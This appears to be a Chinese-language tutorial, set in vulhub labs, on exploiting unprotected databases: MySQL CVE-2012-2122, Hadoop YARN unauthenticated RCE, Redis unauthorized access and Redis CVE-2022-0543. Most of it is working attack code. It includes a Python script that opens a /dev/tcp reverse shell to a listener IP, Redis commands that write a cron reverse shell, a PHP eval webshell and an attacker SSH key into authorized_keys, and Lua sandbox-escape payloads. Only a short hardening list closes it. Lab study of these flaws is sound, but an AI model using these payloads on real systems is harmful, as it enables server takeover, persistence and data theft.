目录
数据库安全-&Redis&Hadoop&Mysql&未授权访问&RCE
定义
漏洞复现
Mysql-CVE-2012-2122 漏洞
靶场环境:vulhub
开启环境,执行payload:
通过循环,不断发送登录请求:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h you-ip -P3306 ; done
执行等待过后,会直接进入到数据库当中:
成功进入:
Hadoop-配置不当未授权三重奏&RCE 漏洞
靶场环境:vulhub
打开进入环境:
payload:
#!/usr/bin/env python
import requests
target = 'http://192.168.100.134:8088/'
lhost = '192.168.100.1' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
攻击端开启监听:
nc -lvvp 9999
执行python脚本:
成功反弹
可执行命令:
Redis-未授权访问-Webshell&任务&密匙&RCE 等
redis是一个非常快速的,开源的、支持网络、可基于内存亦可持久化的日志型、非关系类型的数据库;
提供多种语言的 API,java/c/c++/c#/php/javascript/
漏洞定义:
漏洞成因
漏洞危害
漏洞复现
Redis-未授权访问-Webshell&定时任务&密匙&RCE
漏洞验证:
漏洞利用:
漏洞利用方式
1、写计划任务反弹shell
利用过程
目标:运行redis服务器
攻击:连接redis服务器
利用攻击机将计划任务写进服务器
config set dir /var/spool/cron //写入的目录 计划文件夹
config set dbfilename root //写入的文件名,自定义命名即可
set ssr "\n\n*/1****/bin/bash -i > & /dev/tcp/攻击IP/1234 0>&1\n\n"
//写入的内容
save //保存
攻击机:
执行 nc -lvvp 1234 稍等片刻 黑客机接收到目标机的shell
使用crontab -l 可查看目标机器原来写入的计划任务
2、写webshell
config set dir /var/www/html
config set dbfilename shell.php
set webshell "<?php @eval($_POST['cmd']); ?>" //webshell后门
save
3、写SSH公钥实现登录
1)攻击机和靶机打开SSH服务
命令:systemctl start ssh(没有的话用apt命令安装或yum安装)
2)在目标机创建SSH公钥可写目录
命令:mkdir /root/.ssh //ls -al 进行查看是否创建成功
3)清空攻击机/root/.ssh目录下的文件,方便区分一会要生成并存放进其中的SSH公钥文件
命令:rm -rf *
4)在攻击机生成SSH公钥(需要连续敲击三下回车)
命令:ssh-keygen -t rsa
5)在攻击机上切换至公钥存放目录:
命令:cd /root/.ssh
6)将公钥写入1.txt(前后用\n,避免和redis里其他缓存数据混合,不用会一直失败)
(echo -e "\n\n";cat id_rsa.pub;echo -e"\n\n") > 1.txt
将1.txt的文本内容带入登录目标机redis服务器的过程中,后续可以直接在目标机上设置目标文件并写入
命令:
cat 1.txt | redis-cli -h 目标IP -x set crack //将1.txt的内容设置为crack(设置的名称),命名自定义即可
使用redis-cli -h 目标IP 连接目标机器并执行以下命令将本地SSH公钥写入目标机
config set dir /root/.ssh
config get dir
config set dbfilename authorized_keys
save
在攻击机使用ssh免密登录
cd /root/.ssh
ssh -i id_rsa root@目标IP
redis命令执行(RCE)
靶场环境:vulhub
开启环境并进入验证,输入info并执行,说明存在未授权:
自动化工具使用:
直接使用,直接干
工具地址
payload:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "whoami"
//还可将命令换成反弹shell命令,进行反弹。
执行结果:
换一条命令再次尝试:
whoami
成功执行命令。
还可以将命令换成反弹shell命令,进行一个反弹。
redis沙箱绕过(CVE-2022-0543)
靶场环境:vulhub
打开进入环境
payload:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0
//也可以换成反弹shell命令,进行一个反弹
执行结果:
加固思路
1.升级
2.修改6379
3.设置密码认证
4.设置防火墙